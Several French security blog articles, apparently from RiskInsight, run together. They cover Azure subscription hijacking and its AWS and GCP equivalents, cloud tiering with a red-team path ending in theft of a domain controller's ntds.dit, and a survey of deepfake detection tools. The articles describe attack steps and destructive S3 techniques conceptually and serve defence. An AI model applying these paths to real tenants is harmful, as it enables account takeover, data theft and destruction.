Rappel de ce qu’est une subscription Azure

Une subscription Azure (en français abonnement) est un conteneur de ressources et de services cloud associé à un tenant, qui permet de gérer la facturation, les accès et le déploiement des ressources Azure.

Architecture des ressources sur Azure

Fonctionnement de l’attaque 

Sur Microsoft Azure, on considère la situation de départ suivante : 

• Il y a une organisation légitime (tenant victime), qui contient ou non une subscription. 
• Il y a une organisation malveillante (tenant de l’attaquant) sous le contrôle d’un attaquant. 

L’attaque suit alors les 4 étapes suivantes : 

Etapes de l’attaque Azure

1. L’attaquant doit être présent dans les deux organisations : Il compromet donc un administrateur interne au tenant victime pour faire inviter son compte externe dans le tenant, ou bien il convainc un administrateur non compromis de se faire inviter, sous un prétexte quelconque. Dans les deux cas, l’administrateur l’invite dans le tenant victime. 
2. L’attaquant prend pour cible une subscription existante ou bien en crée une nouvelle lui-même (ce qui nécessite des permissions), associé à un compte de facturation existant. 
3. L’attaquant obtient le rôle Owner sur la subscription visée. S’il l’a créée lui-même, il l’est déjà par défaut, sinon il doit le recevoir d’un administrateur. 
4. L’attaquant effectue le transfert de la subscription de l’organisation de départ à l’organisation d’arrivée. 

La subscription est désormais sous le contrôle complet de l’organisation de l’attaquant et peut facturer l’ancien compte de facturation.  

Pourquoi cette attaque est dangereuse ? 

Cette attaque est potentiellement très dangereuse car elle est instantanée à réaliser si les conditions sont réunies, donne à l’attaquant un contrôle complet sur la ressource et son éventuel contenu, et est irréversible sans intervention du support. 

Une attaque instantanée 

Par défaut, n’importe quel utilisateur Owner sur une subscription Azure, qui est également présent dans un autre tenant, peut effectuer le transfert sans restriction. 

Des conséquences multiples et potentiellement irréversibles 

La subscription passe sous le contrôle du tenant malveillant qui l’a récupérée. Il peut donc : 

• Avoir le contrôle total dessus tandis que l’utilisateur d’origine n’y a plus accès 
• En extraire toutes les ressources ou informations 
• L’utiliser en faisant facturer l’utilisation à l’ancien moyen de facturation appartenant au propriétaire légitime 

Note : Un intérêt du subscription hijacking est d’amener les ressources dans son propre environnement hors de contrôle du propriétaire légitime, pour s’en servir à son propre compte ou pour facturer des nouvelles utilisations à l’ancien propriétaire. Cependant, un simple transfert sans utilisation entraîne déjà des conséquences importantes : l’utilisateur aura perdu sa subscription, et donc aura perdu toutes les ressources, mais également la structure (rôles, assignations, règles), qui peut être très longue à reconstruire. 

Si le propriétaire légitime peut bloquer la facturation une fois qu’il réalise ce qu’il se passe, il n’y a en revanche pas de moyen de récupérer la subscription si l’attaquant a retiré tous les anciens Owner de celle-ci. La seule alternative devient alors de se tourner vers le support de Microsoft. 

L’article suivant de Derk van der Woude décrit un cas de minage de cryptomonnaies effectué avec des subscriptions volées et facturé à l’ancien propriétaire : 

https://derkvanderwoude.medium.com/azure-subscription-hijacking-and-cryptomining-86c2ac018983 

Comment s’en protéger ? 

Pour se protéger d’un transfert illégitime de subscription, il existe des mesures préventives que l’on peut citer pour prévenir chaque étape de l’attaque : 

Mesures préventives 

1. Accès de l’attaquant aux ressources : politiques d’accès conditionnelles

Les politiques d’accès conditionnel basées sur le risque permettent de renforcer automatiquement la sécurité en adaptant les contrôles selon le niveau de risque détecté lors d’une connexion ou associé à un utilisateur. Elles permettent par exemple de bloquer les accès suspects ou d’imposer une authentification multi facteur (MFA). Ainsi, l’accès d’un invité suspect pourrait être bloqué. 

      2. Montée en privilège/obtention du rôle Owner : gestion des identités privilégiées 

La gestion des identités privilégiées (Privileged Identity Management, PIM)​ permet d’accorder des rôles à privilèges élevés seulement quand cela est nécessaire, via une élévation temporaire, approuvée et justifiée. Il réduit ainsi les risques liés aux permissions excessives grâce au contrôle, au suivi et aux notifications d’activation. 

      3. Transfert de la subscription : politique de subscription (subscription policy) 

Une subscription policy permet de bloquer le transfert d’une subscription Azure vers ou hors du tenant afin d’éviter les détournements. Elle s’implémente via Azure Policy en définissant puis assignant une règle qui restreint les actions de transfert, avec des revues régulières pour garantir son efficacité. Elle s’applique à toutes les subscriptions se trouvant dans son scope d’assignation. 

Solutions de détection 

Certaines solutions permettent de détecter cette attaque sur Microsoft Azure : 

• UEBA (Sentinel) : détecte les comportements anormaux (connexions inhabituelles, accès sensibles, modifications inattendues). Cela permet d’identifier rapidement un compte compromis avant qu’il ne puisse détourner une subscription. 
• Privileged Identity Management (PIM)​ : contrôle les élévations de privilèges et peut déclencher des alertes en cas d’activation d’un rôle privilégié. 
• Alerte Sentinel personnalisée : Peut surveiller spécifiquement les événements indiquant un transfert de subscription. La règle analyse régulièrement les logs AzureActivity et déclenche immédiatement une alerte lorsqu’une opération suspecte comme le déplacement d’une subscription est détectée. 

Stratégie de résilience 

La stratégie de résilience à mettre en place est une sauvegarde (backup) des ressources qui permet de les restaurer en cas de détournement effectif de la subscription. 

1. Isoler les sauvegardes Azure Backup dans une subscription dédiée réservé aux backups avec des règles de sécurité strictes 
2. Protéger les sauvegardes : activer le soft delete (pas de suppression définitive immédiate), la suppression réversible, l’immutabilité (empêche la modification ou la suppression pendant une période), des verrous anti-suppression 
3. Multiplier les copies, éventuellement vers un autre tenant 
4. Sauvegarder également la gouvernance (configurations Entra ID via Microsoft 365 DSC, configuration d’infrastructure avec Terraform) 
5. Automatiser la reconstruction avec l’infrastructure-as-code (Blueprints, ARM, Terraform) 
6. Tester régulièrement les backups 

Réaction à l’attaque 

Subir cette attaque revient à perdre sa subscription Azure. Auquel cas, les options sont limitées. Il faut très rapidement : 

• Bloquer les accès de l’attaquant et révoquer les éventuels secrets compromis dans l’attaque 
• Contacter le support Microsoft Billing pour bloquer la facturation 
• Contacter le support Microsoft (technique/Azure) pour tenter de récupérer la subscription 

Et sur les autres providers ? (AWS et GCP) 

Une fois cette attaque identifiée sur Azure, la question de son existence (ou d’un équivalent) sur AWS et GCP se pose alors. Le concept de subscription n’existe pas en tant que tel sur ces deux fournisseurs cloud, cependant, des unités hiérarchiques équivalentes jouent le même rôle. S’il était possible de les migrer vers une autre organisation AWS et GCP de manière illégitime, ce serait un équivalent du subscription hijacking sur ces fournisseurs.  

AWS : un équivalent possible mais avec des conditions distinctes 

Sur AWS, l’équivalent hiérarchique de la subscription est le compte AWS : un compte AWS, présent dans une organisation, contient des utilisateurs IAM, des ressources et c’est à son niveau que la facturation est gérée, si elle n’est pas consolidée par le compte de gestion. 

Le but d’un attaquant serait donc ici de faire migrer ce compte AWS vers une autre organisation. 

Chemin à suivre 

Le chemin à suivre pour effectuer la migration est le suivant : 

Etapes de l’attaques AWS 

Un compte AWS contient : 

• Un utilisateur root, unique, qui dispose de tous les droits sur le compte 
• Des utilisateurs IAM disposant de droits IAM attribués

Dès lors, deux stratégies sont envisageables pour l’attaquant : parvenir à compromettre le root (auquel cas il peut effectuer toute action) ou réussir à monter en privilèges sur un utilisateur IAM classique. Cependant, l’approbation du root reste requise pour l’étape 1 (il peut par exemple avoir été manipulé pour effectuer cette action). De plus, si des guardrails ou des stratégies de contrôle des services (Service Control Policies) sont appliqués, le compte root doit toujours valider l’opération. Par conséquent, un utilisateur IAM, même avec des droits élevés, ne peut pas toujours migrer un compte de manière autonome. 

Des conséquences similaires à l’attaque Azure ? 

Il est établi que sur Azure, le transfert de la subscription entraînait une perte de contrôle totale sur celui-ci. Ici, sur AWS, deux nuances sont à introduire : 

• D’abord, comme le montre le schéma précédent, la facturation doit impérativement être changée (vers un mode de facturation indépendant) pour permettre la migration du compte sur une autre organisation, ce qui élimine le risque de se voir facturer des services par l’attaquant après la migration
• Ensuite, dans le cas théorique où c’est un utilisateur IAM non-root qui a réalisé la migration du compte (en ayant recueilli toutes les permissions nécessaires), alors cet utilisateur n’a pas un contrôle total sur ce compte, même en le laissant indépendant (standalone), ou en le faisant rejoindre une organisation sous son contrôle. Les comptes AWS ont en effet une forte indépendance, et le fait d’avoir un compte AWS dans son organisation ne permet pas d’en faire ce que l’on souhaite (accéder à certaines ressources, le supprimer) si l’on ne dispose pas du root

Conclusion 

Si l’attaque semble théoriquement possible sur AWS, elle nécessite plus de conditions et entraîne moins de conséquences négatives définitives que sur Azure. En définitive, le seul moyen de prendre le contrôle total d’un compte AWS reste de disposer de son root. 

GCP : un équivalent possible mais plus difficile à réaliser 

Sur GCP, l’architecture est plus proche d’Azure. L’équivalent de la subscription Azure est le projet GCP. Ici, le but de l’attaquant serait donc de faire migrer un projet d’une organisation GCP à une autre.  

Chemin à suivre 

Les étapes à suivre pour effectuer la migration sont les suivantes : 

Etapes de l’attaque GCP 

Des conséquences similaires à l’attaque Azure ? 

Les conséquences en cas de migration de projet GCP sont les mêmes que pour une subscription Azure : une perte de contrôle totale sur l’élément, et le risque de se voir facturer une utilisation de l’attaquant si la facturation n’a pas été modifiée. 

Conclusion 

Un détournement de ressources similaire au subscription hijacking visant Microsoft Azure est donc théoriquement possible sur GCP. Les conditions plus strictes qui sont nécessaires rendent cependant ce cas moins probable, mais il doit être considéré. 

Résumé des conséquences 

Résumé des conséquences

Conclusion 

Le subscription hijacking doit donc être considéré comme une attaque d’importance aux conséquences graves et à fort impact pour les organisations ou entreprises touchées. Protéger les unités hiérarchiques gérant la facturation et les ressources contre tout déplacement ou migration illégitime (les mesures vont varier suivant le fournisseur cloud visé), et prévoir des processus de remédiation et de sauvegarde en cas de perte est crucial pour la sécurité d’une organisation. 

Cet article Le subscription hijacking sur Microsoft Azure  est apparu en premier sur RiskInsight.

Le principe de tiering préconisé sur les infrastructures on-premise est-il applicable au cloud ?

Évolution du modèle de sécurité

Dans les environnements on-premise, en particulier Active Directory, la sécurité des infrastructures s’appuie généralement sur une segmentation stricte en trois niveaux (T0, T1 et T2) permettant d’isoler les systèmes d’administration critiques (T0), les serveurs (T1) et les postes utilisateurs (T2) afin de limiter les risques de propagation.

Cette organisation hiérarchique et périmétrique est inhérente au monde AD et ne peut être directement appliquée au cloud pour ces deux principales raisons :

• Les portails sont centralisés: une grande diversité d’administrateurs aux droits différents interagit avec la même URL.
• La frontière entre les niveaux d’administration est complexifiée: le principe de permission fine, par rôle (RBAC), par attribut de ressources (ABAC), selon certaines conditions (provenance, risque, conformité, méthode d’authentification…) permet de configurer des accès très précisément, mais complexifie et floute la vision globale des permissions.

Afin de proposer une réponse à ce nouveau paradigme, Microsoft a publié son Enterprise Access Model (décrit ici), mettant en évidence 3 principaux plans : le Control Plane, Management Plane et Data Plane.

Ce modèle reprend la criticité « en cascade », mais simplifiant :

• les 3 tiers en 2 accès : administrateur vs utilisateur ;
• les flux d’administration en accès au portail ;
• la criticité des serveurs en les centralisant dans le Data plane.

Une illustration de l’ancien et du nouveau modèle :

Ce nouveau modèle met particulièrement en valeur 3 éléments :

• L’identité de l’utilisateur : accès privilégié vs accès utilisateur ;
• La donnée et les services : au détriment des serveurs ;
• La méthode d’accès aux portails web d’administration.

L’inversion des importances entre « serveurs » et « portails web » abstrayant l’Active Directory est un changement radical.

Cependant, très peu (si ce n’est aucune) grande structure en est à ce niveau d’abandon de son SI « legacy », une grande partie sera dans un état transitoire où ce SI aura été virtualisé sur un Cloud afin de se séparer de ses datacenters, mais dont les modalités d’administration sont restées les mêmes.

Ces entreprises doivent donc traiter avec un tiering model désuet et un Enterprise Access Model décoléré des risques et besoins de sécurité actuels.

Pour la suite de cet article, nous prendrons comme exemple la société Tartampion, qui vient de terminer un programme Move-to-Cloud de 3 ans sur AWS. Le bilan est le suivant :

• Une Landing Zone a été créée, les applications déjà sur AWS y ont été intégrées
• Les Data Center ont été fermés
• Pris par le manque de temps et de moyens, une majeure partie du SI a été incorporé en lift and shift, incluant des solutions métiers, réseau, bastion et AD.

Un SI hybride et virtualisé qui pose problème

Selon l’EAM, les portails Azure et AWS sont affichés au même niveau (le management plane) au rang T1, sans autre forme de distinction. Or ces 2 environnements cloud sont à eux seuls le support de nombreux SI, utilisés par de multiples collaborateurs avec des niveaux de droits et d’impacts très variés.

Pour illustrer les précédents propos, mettons de côté l’aspect Digital Workplace (suite O365) et prenons 3 comptes AWS issus d’une Landing Zone de Tartampion, supportant différents services d’infrastructure :

En se fiant au référentiel proposé par Microsoft, ces trois comptes AWS devraient appartenir au Management plane avec un niveau de sécurité T1. Cependant, en cas de compromission d’un des 3 comptes par un attaquant, les impacts seraient très différents.

Si la Landing Zone est correctement implémentée, la compromission d’un compte de Sandbox n’aurait que très peu d’impact, tandis que celle du Master Account entrainerait celle de tous les comptes et ressources sous-jacentes.

Un exemple de découpage plus adéquat serait le suivant :

L’Enterprise Access Model par Microsoft est un framework macroscopique permettant d’initier une base de découpage des services cloud, mais qui reste à adapter selon la criticité des SI concernés.

Comment le rendre pertinent ? Pour répondre, il faut comprendre les scénarios d’attaque exploitant les services cloud.

Le Cloud vu de l’attaquant

5 principes du cloud favorisant les attaques

Premièrement, les infrastructures cloud sont par défaut exposées sur Internet, contrairement aux ressources sensibles d’un SI. Ainsi, un phishing réussi conduit très probablement à un accès sur le Cloud.

Deuxièmement, les entreprises ont aujourd’hui des organisations hybrides (on-premise et cloud) :

• Les infrastructures cloud sont reliées au reste du SI on-premise ;
• Les postes de travail peuvent également être hybrides et gérés par un service cloud comme Intune. Les permissions pour utiliser ce service sont gérées dans Entra ID ;
• Les identités sont souvent des comptes synchronisés, cela concerne également les comptes d’administration.

Les organisations hybrides peuvent faciliter les latéralisations entre le cloud et l’on-premise.

Troisièmement, la gestion des identités est très complexe avec différentes portées. Par exemple, Entra ID permet de gérer les accès à Azure et M365 aussi bien pour des utilisateurs, que des applications que des comptes de service.

Pour compléter, les notions de cybersécurité liées au Cloud sont encore relativement nouvelles et méconnues pour certaines équipes « legacy », comme le SOC/CERT, le réseau… Les ressources cloud les plus sensibles ne sont pas systématiquement identifiées, protégées et surveillées.

Enfin, même si des mécanismes de détection natifs sont présents, ils ne sont pas toujours interconnectés avec les SIEM/SOAR, ce qui ralentit les capacités d’intervention. Une récente opération Purple Team menée sur des infrastructures Azure et AWS a confirmé que les outils de détection natifs ont une capacité de détection limitée. Il s’agit d’un constat retrouvable dans les Red Team puisqu’avec une démarche « OpSec », les outils de détection cloud sont rarement capables d’identifier une attaque en cours.

REX de nos tests d’intrusion & Red Team

Issus des opérations de Red Team menées récemment, ces chemins d’attaques spécifiques aux environnements cloud sont témoin des impacts et des facilités qu’il est possible d’avoir pour s’élever en privilège jusqu’à obtenir des accès très permissifs :

Le premier scénario, effectué sur AWS, est décrit ci-dessous, les deux autres ont été analysés dans une série d’articles Risk Insight disponible ici.

Reconnaissance et Accès initial

Des catégories d’employés sont généralement ciblées afin de compromettre une personne avec des droits intéressants dans le SI (Développeur, Support, OPS…). Un moyen souvent utilisé est d’utiliser du phishing. Les mécanismes de phishing actuel sont capables de contourner l’usage de mots de passe complexe et la plupart des méthodes de MFA (Multi-Factor Authentication).

Escalade de privilèges et mouvements latéraux

Dans le premier scénario, un développeur compromis possédait des accès à une ferme Citrix. Les environnements Citrix ne sont pas simples à durcir complètement et quelques vulnérabilités d’échappement ont permis à la Red Team d’avoir un accès au serveur sous-jacent.

Les informations récoltées sur la machine ont indiqué que le serveur pouvait être hébergé sur AWS. Cela s’est vérifié en essayant d’accéder aux métadonnées AWS du serveur : l’instance avait des droits sur le compte AWS du client. La machine virtuelle du Citrix possédait le rôle « AmazonEC2FullAccess » lui permettant des actions de gestion sur les EC2 du même compte AWS.

À l’aide de la CLI AWS, les autres EC2 ont été listées. Un contrôleur de domaine du client était présent dans ce compte AWS. C’est une pratique courante de vouloir regrouper dans un même compte, généralement appelé « Shared Services », les services qui ont pour vocation d’être utilisés par plusieurs projets. Il est néanmoins recommandé de vérifier que la criticité des services partagés soit homogène de sorte à pouvoir appliquer un durcissement adéquat sur le compte, ou les séparer en plusieurs environnements.

Actions sur les trophées

À partir du rôle AWS du serveur Citrix, une sauvegarde instantanée du contrôleur de domaine a été faite puis téléchargée. Les sauvegardes d’un contrôleur de domaine contiennent tous les fichiers de la machine, y compris les fichiers les plus sensibles, comme la base ntds.dit, qui contient les informations et secrets de tous les utilisateurs du domaine. L’exfiltration de cette base se traduit en la compromission totale du domaine AD concerné.

Ce scénario illustre l’un des chemins d’attaques qui ont été exploités lors des opérations de redteam, facilité par le manque de visibilité sur les impacts que peuvent avoir une ressource compromise hébergée sur le cloud.

Des impacts plus rapides et plus forts

Les attaques déjà possibles sur un SI on-premise peuvent être reproduites et même accélérées grâce aux fonctionnalités du cloud. Par exemple, le chiffrement de buckets S3 (service de stockage de fichiers) à partir d’une clé KMS (de chiffrement) d’un autre compte AWS imite le chiffrement massif de données, ou l’utilisation de la fonctionnalité « lifecycle » permet une suppression de tous les objets en moins de 24 heures, peu importe la quantité de données.

De nouvelles attaques sont également apparues comme le « Hijack de souscription » qui permet de rattacher un abonnement d’une organisation Azure à une autre et ainsi de voler toutes les données qu’il contient et empêcher les actions de remédiation. Cette attaque est réalisable en quelques clics depuis l’interface web Azure.

Identification et protection du cœur de confiance cloud

Identification du Cœur de confiance

Le cœur de confiance adopte une approche centrée sur la priorisation des actifs, qui diffère du modèle de tiering ou de l’Enterprise Access Model de Microsoft. Contrairement à ces modèles qui proposent un découpage prédéfini, il n’existe pas de grille universelle : chaque organisation doit identifier elle-même quelles ressources méritent le plus haut niveau de protection. L’idée est d’établir un cercle restreint de ressources critiques (qu’elles soient cloud ou on-premise) puis de déployer des niveaux de protection dégressifs à mesure que l’on s’éloigne de ce cœur.

L’identification du cœur de confiance repose sur deux grands critères :

• Criticité métier: ce sont les ressources qui concentrent la valeur et la continuité des activités de l’entreprise. Si elles venaient à être perdues ou compromises, les conséquences seraient immédiates pour le fonctionnement quotidien et financièrement. Un environnement SharePoint contenant la donnée intellectuelle / brevets en est un exemple courant ;
• Criticité SI: il s’agit des ressources qui assurent l’administration du système d’information et qui disposent d’un niveau d’accès élevé. Leur compromission aurait un impact majeur sur l’ensemble du SI et permettrait d’avoir l’impact métier précédemment énoncé. On retrouve ici les contrôleurs de domaine ou encore les services d’IAM Cloud comme Entra ID et AWS Identity Center.

Cette cartographie n’est jamais totalement tranchée. Pour certains éléments, la posture à adopter reste plus floue, deux exemples l’illustrent bien :

• L’EDR: élément de sécurité évident d’un SI, systématiquement déployé tant sur les postes de travail que sur les serveurs cloud et on-premise, sa console d’administration est de plus en plus souvent exposée sur internet, et permet d’exécuter des commandes arbitraires sur les équipements qui en sont équipés.
• Les chaînes CICD: un savant, mais complexe agglomérat d’applications s’appelant entre elles, dont l’accès (le gestionnaire de code : GitLab, GitHub…) est offert à l’ensemble des collaborateurs et les droits sur le SI (manipulé par les runners de déploiement) sont bien souvent administrateur de l’ensemble des infrastructures cloud. Sur l’ensemble des Red Team effectués en 2024 & 2025, 80% ont exploité des vulnérabilités associées à ses solutions pour progresser dans leur opération, voire obtenir des trophées de compromission par ce biais.

Afin d’identifier le « noyau dur » du cœur de confiance, qu’on appellera socle de sécurité, on peut reprendre les préceptes de l’ancien T0 : la compromission d’un de ses éléments entrainerait probablement celles des autres, et par cascade de la majeure partie du SI.

En supposant que vos applications appliquent un correct cloisonnement interutilisateur (l’intégralité de vos sites SharePoint n’est pas accessible par tous, n’est-ce pas ?), les références aux prochaines applications seront à comprendre comme des accès administrateurs / super-utilisateurs à ces dernières, et non simple utilisateur.

Voici l’une des représentations possibles pour un cœur de confiance hybride :

Dans cette représentation, il y a côté on-premise :

• Le T0 avec ses contrôleurs de domaine, l’ADCS, et potentiellement la PKI, le bastion, la console EDR…
• Le T1 en intégrant en plus les applications métiers à fort impact.

Et côté Cloud, on retrouve :

• Au cœur le Control Plane (AWS Orga & Identity Center, Entra ID) ainsi que les modules de la Landing Zone supportant le T0 (si une partie du T0 est hébergée dans le Cloud) ;
• En s’éloignant, les diverses consoles d’administration des suites de bureautique, et de management des infrastructures ou des applications.

En établissant ce diagramme, il est important de garder à l’esprit que :

• L’IT sert au métier et quand bien même la zone centrale du cœur de confiance est principalement occupée par des briques techniques, il convient d’inscrire ses solutions critiques ;
• Les chaînes de dépendance / compromission ont beaucoup d’impact sur les choix d’architecture: positionner un AD sur AWS, ou déployer un EDR sur un AD peut soudainement créer de nombreux chemins de compromission et de rebond entre les 2 mondes.

Enfin, la construction d’un cœur de confiance ne peut pas se limiter à une logique de classification statique. Elle doit reposer sur une approche qui évalue la criticité de chaque actif et le risque qu’il introduit (une entreprise de développement de logiciel ne positionnera surement son Git au même niveau qu’une entreprise de travaux public).

Protection du cœur de confiance cloud

La sécurité du cœur de confiance va reposer sur les deux traditionnels facteurs de risques :

• Réduire l’impact: comment empêcher un utilisateur compromis ou malveillant de se connecter aux portails cloud sur un navigateur et de faire des actions sensibles en quelques clics, comme faire une sauvegarde d’un contrôleur de domaine hébergé sur une VM ou supprimer les sauvegardes de données de production ?
• Réduire la probabilité : comment réduire les risques d’accès illégitimes à partir d’un cookie de session volé par phishing, de la compromission d’un poste de travail ou de la réutilisation de mots de passe des utilisateurs ?

Protection du socle de sécurité cloud

Concernant le « socle de sécurité » cloud il est possible de hiérarchiser les environnements par criticité selon cette échelle macroscopique :

En fonction des équipes en charge et de la complexité de les inclure dans un niveau de protection particulièrement élevée, certaines organisations font le choix d’exclure des environnements dont la compromission ne permettrait pas une latéralisation dangereuse, telle que ceux de FinOps, de détection, le Digital Workplace…

La sécurisation du socle de sécurité cloud repose sur 2 principaux points :

• Une hygiène impeccable : configuration IAM épurée, respect du moindre privilège, procédure de déploiement, limitation des ressources au strict nécessaire…
• Une couche de sécurité passive / active : déploiement de politiques (SCP sur AWS, Policy sur Azure) interdisant explicitement certaines actions, ou la manipulation de certaines ressources, et règles de détection afin de lever une alerte en cas de modification d’une politique ou l’occurrence d’un de ses évènements protégés ;

Ces politiques peuvent efficacement être associées à une stratégie de tagging afin d’appliquer, en plus du modèle RBAC (Role Based Access Control) un modèle ABAC (Attribute Based Access Control).

Par exemple il est possible de tagger différentes ressources avec une clé « tiering » et une valeur entre « T0 », « T1 », « T2 » puis de déployer cet ensemble de stratégies :

• Interdire toute action visant une ressource taguée tiering par une identité dont la valeur de son propre tag tiering n’est pas équivalente ;
• Interdire la manipulation de tag tiering, sauf pour un rôle bien précis.

Et voilà comment, en quelques tags et 2 SCP, il est possible de répliquer le tiering model de Microsoft (quelques exceptions peuvent subvenir).

Protections des identités et des accès

Pour protéger les utilisateurs, 3 thématiques de durcissement peuvent être mises en place :

• Identité : avec quel compte l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? Comment les droits sont-ils obtenus ?
• MFA : l’identité est-elle protégée avec une authentification multifactorielle résistante aux attaques de phishing ?
• Provenance: à partir de quelle plateforme l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? La plateforme est-elle managée, et saine ?

Plusieurs niveaux de protection sont envisageables afin de protéger les administrateurs cloud :

Afin de protéger le cœur de confiance restreint, représenté par les triples cadenas, il est recommandé de mettre en œuvre les facteurs d’authentification les plus robustes. Cela inclut l’utilisation d’un compte dédié à l’administration cloud, l’activation d’une authentification multifactorielle physique (exemple : clé de sécurité FIDO2) et le recours à un poste de travail spécifiquement réservé aux opérations sur ce cœur de confiance.

Pour les ressources plus éloignées du centre du cœur de confiance, symbolisées par les doubles cadenas, un niveau de sécurité durci, mais proportionné peut être appliqué, afin de renforcer la protection pour maitriser les coûts et réduire les contraintes excessives aux utilisateurs concernés.

Finalement, les méthodes les plus sécurisées sont également celles qui impliquent le plus de contraintes aux personnes concernées. Il faut maitriser les usages et prendre en compte des situations d’urgence, comme une intervention en astreinte nécessitant des privilèges très élevés.

Répéter les opérations

À l’issue des phases d’identification et de protection, les ressources seront réparties dans les différentes couches du cœur de confiance.

Pour vérifier la bonne implémentation du cœur de confiance, un audit peut être conduit pour vérifier la bonne protection des ressources critiques qui le compose.

Un système d’information est toujours en évolution, mais les deux premières phases auront été faites à un instant t. De nouvelles ressources critiques peuvent être ajoutées, d’autres modifiées, voire supprimées. Il est primordial de refaire une évaluation régulière de son SI et de mettre à jour la répartition des ressources dans le cœur de confiance.

En conclusion, la sécurité des systèmes d’information s’inscrit désormais dans un contexte de complexité croissante et de forte diversification des composants et services d’infrastructures.

Dans ce contexte, il apparaît de plus en plus complexe de définir un modèle de sécurité universel. Certains cadres conservent toute leur pertinence sur des périmètres bien identifiés : le tiering reste une référence pour la sécurisation de l’Active Directory, tout comme l’EAM pour des environnements Cloud fortement centrés sur l’écosystème Microsoft. Néanmoins, ces modèles atteignent rapidement leurs limites dès lors que l’on s’éloigne de ces cas d’usage spécifiques.

Pour la majorité des systèmes d’information, une approche fondée sur l’analyse des risques s’impose donc comme la plus pertinente. Identifier un cœur de confiance, définir clairement les actifs critiques — les crown jewels — et décliner les mesures de sécurité à partir de ces éléments permet de construire une posture de sécurité plus pragmatique, adaptée à la réalité du SI et capable d’évoluer avec lui.

Cette logique, moins normative mais plus contextualisée, constitue sans doute l’un des leviers majeurs pour concilier sécurité, agilité et pérennité des systèmes d’information.

Cet article Sécurité orientée cloud : Adaptation à une nouvelle réalité est apparu en premier sur RiskInsight.

Ces utilisations malveillantes peuvent être réparties en 3 grandes catégories : 

• Désinformation et phishing amélioré : des vidéos falsifiées portant un discours travaillé peuvent être exploitées pour manipuler l’opinion publique, influencer des débats politiques ou diffuser de fausses informations. Le discours de la vidéo poussera par exemple la cible à cliquer sur des liens de phishing. Nous avons déjà vu par le passé de telle usurpation d’identité ciblant des personnalités publiques ou des PDG d’entreprises pour inciter à de faux investissement par exemple.  
• Fraude au président et ingénierie sociale : les attaques connues de « scam » téléphonique ou de fraude au président deviennent plus difficile à détecter et éviter si un attaquant imite la voix d’un dirigeant pour valider un transfert bancaire ou usurper une identité complète (visage et voix) pour accéder à des informations sensibles. Ces usurpations d’identité en direct, notamment en visioconférence, ont déjà causé de grands dégâts financiers comme ce fut le cas à Hong Kong début 20241.  
• Usurpation d’identité pour contourner les solutions de KYC2 : de plus en plus d’applications, notamment dans le domaine bancaire, utilise des processus de vérification d’identité pour l’utilisateur en analysant le visage de celui-ci en direct. Une modification numérique de l’image du visage envoyée à l’application peut permettre à un acteur malveillant de se faire passer pour une autre personne lors de la vérification d’identité.

Directement lié à l’évolution exponentielle de l’intelligence artificielle générative ces dernières années, le nombre de modèles disponibles pour générer des deepfakes ainsi que leur sophistication est en forte hausse. Il est de plus en plus courant que les entreprises subissent de telles attaques (comme l’atteste notre dernier rapport annuel CERT-W4) et il devient de plus en plus difficile de les détecter et contrer.  

Figure 1 – Augmentation des technologies deepfakes et des pertes financières en résultant

L’humain demeure la première cible et restait donc le premier rempart du système d’information pour lutter contre ce type d’attaques. Cependant, nous avons observé une évolution importante de la maturité de ces technologies sur cette dernière année et il devient de plus en plus difficile de distinguer le vrai du faux à l’œil nu.  

Après avoir accompagné de nombreuses entreprises dans la formation et la sensibilisation de leurs collaborateurs à ces menaces, il nous a paru essentiel de mener une étude analysant l’outillage qui permettrait de renforcer leur défense. Disposer de solutions de détection de deepfakes fiables n’est plus seulement un enjeu technique : c’est une nécessité pour protéger le SI contre les intrusions, maintenir la confiance dans les échanges numériques et préserver la réputation des personnalités et des entreprises. 

Notre Radar des solutions de détection des deepfakes présente un panorama d’une trentaine d’acteurs que nous avons pu rencontrer. Ceux-ci proposent des solutions variées que nous avons rigoureusement évaluées afin d’identifier les premières tendances de ce marché naissant. 

Pour mener ces tests techniques, certains acteurs ont mis à notre disposition une ou plusieurs versions de leur solution dans des environnements variés reflétant le déploiement habituel des solutions chez leurs clients. Nous avons alors construit une base de données de multiples contenus deepfake de typologie variée : type de média (audio seul, image, vidéo, interaction live) ; format (taille de l’échantillon, durée, extension) et outillage deepfake utilisé pour générer ces échantillons : 

Pour extraire au mieux de ces tests les tendances du marché, nous avons considéré 3 critères d’évaluation distincts : 

• La performance (capacité de détection des deepfakes, véracité des résultats sur les faux positifs, temps de réponse…) 
• Le déploiement (facilité d’intégration dans un environnement client, aide au déploiement et documentation) 
• L’expérience utilisateur (compréhension des résultats, facilité d’utilisation de l’outil…) 

Un marché émergeant qui a déjà fait ses preuves en conditions réelles 

Deux technologies différentes pour atteindre le même objectif  

Nous avons en premier lieu catégorisé les différentes solutions proposées selon le type de contenu détecté : 

• 56% des solutions détectent à partir de données visuelles du média (image, vidéo) 
• 50% de solutions optent pour une détection à partir de données audio (fichier audio simple ou audio d’une vidéo)  

Cette répartition homogène du choix de contenu à traiter nous permet d’étudier la performance de l’une ou l’autre des technologies. Si la plupart des solutions développées se repose sur des modèles d’intelligence artificielle entrainés pour classifier les contenus générés par de l’IA, le traitement d’un fichier visuel (type photo) ou d’un fichier audio (type mp3) diffère grandement dans les types modèles d’IA utilisés. Nous pourrions donc nous attendre à des différences de performance sur ces deux technologies. 

Cependant, nos tests techniques montrent que la précision des solutions est relativement semblable que ce soit pour celles traitant de l’image ou de l’audio. 

Il nous a paru également important de recenser les fournisseurs de solutions les plus matures qui cherchent maintenant à développer une capacité de détection des deepfakes sur des flux audio ou vidéo en direct (avec moins de 10 secondes de traitement de la source), sources d’attaques les plus dangereuses aujourd’hui. 

Celles-ci, traitant majoritairement l’audio, ont obtenu un score de précision de 73% des deepfake détectés comme tel. Cela montre la marge de progression possible pour ces jeunes acteurs dans la détection des attaques à la pointe de la technologie en direct.

Du PoC au déploiement at scale, un pas déjà franchi par certains 

La maturité des solutions varie également sur notre radar. Si certains fournisseurs sont des start-ups émergeantes pour répondre à ce besoin spécifique, d’autres n’en sont pas à leur premier produit sur le marché. En effet, certaines entreprises rencontrées présentaient déjà des activités sur des domaines tels que l’identification biométrique, outil d’intelligence artificielle et même générateur de contenu multimédia par IA ! Ces acteurs avaient donc une connaissance et expérience suffisante pour proposer à leur client un service packagé, déployable sur un large périmètre ainsi qu’un support post-déploiement. 

Néanmoins les startups plus jeunes gagnent également en maturité sur leurs services et permettent aussi d’aller au-delà de la phase de PoC en proposant aux entreprises différentes possibilités de déploiement : 

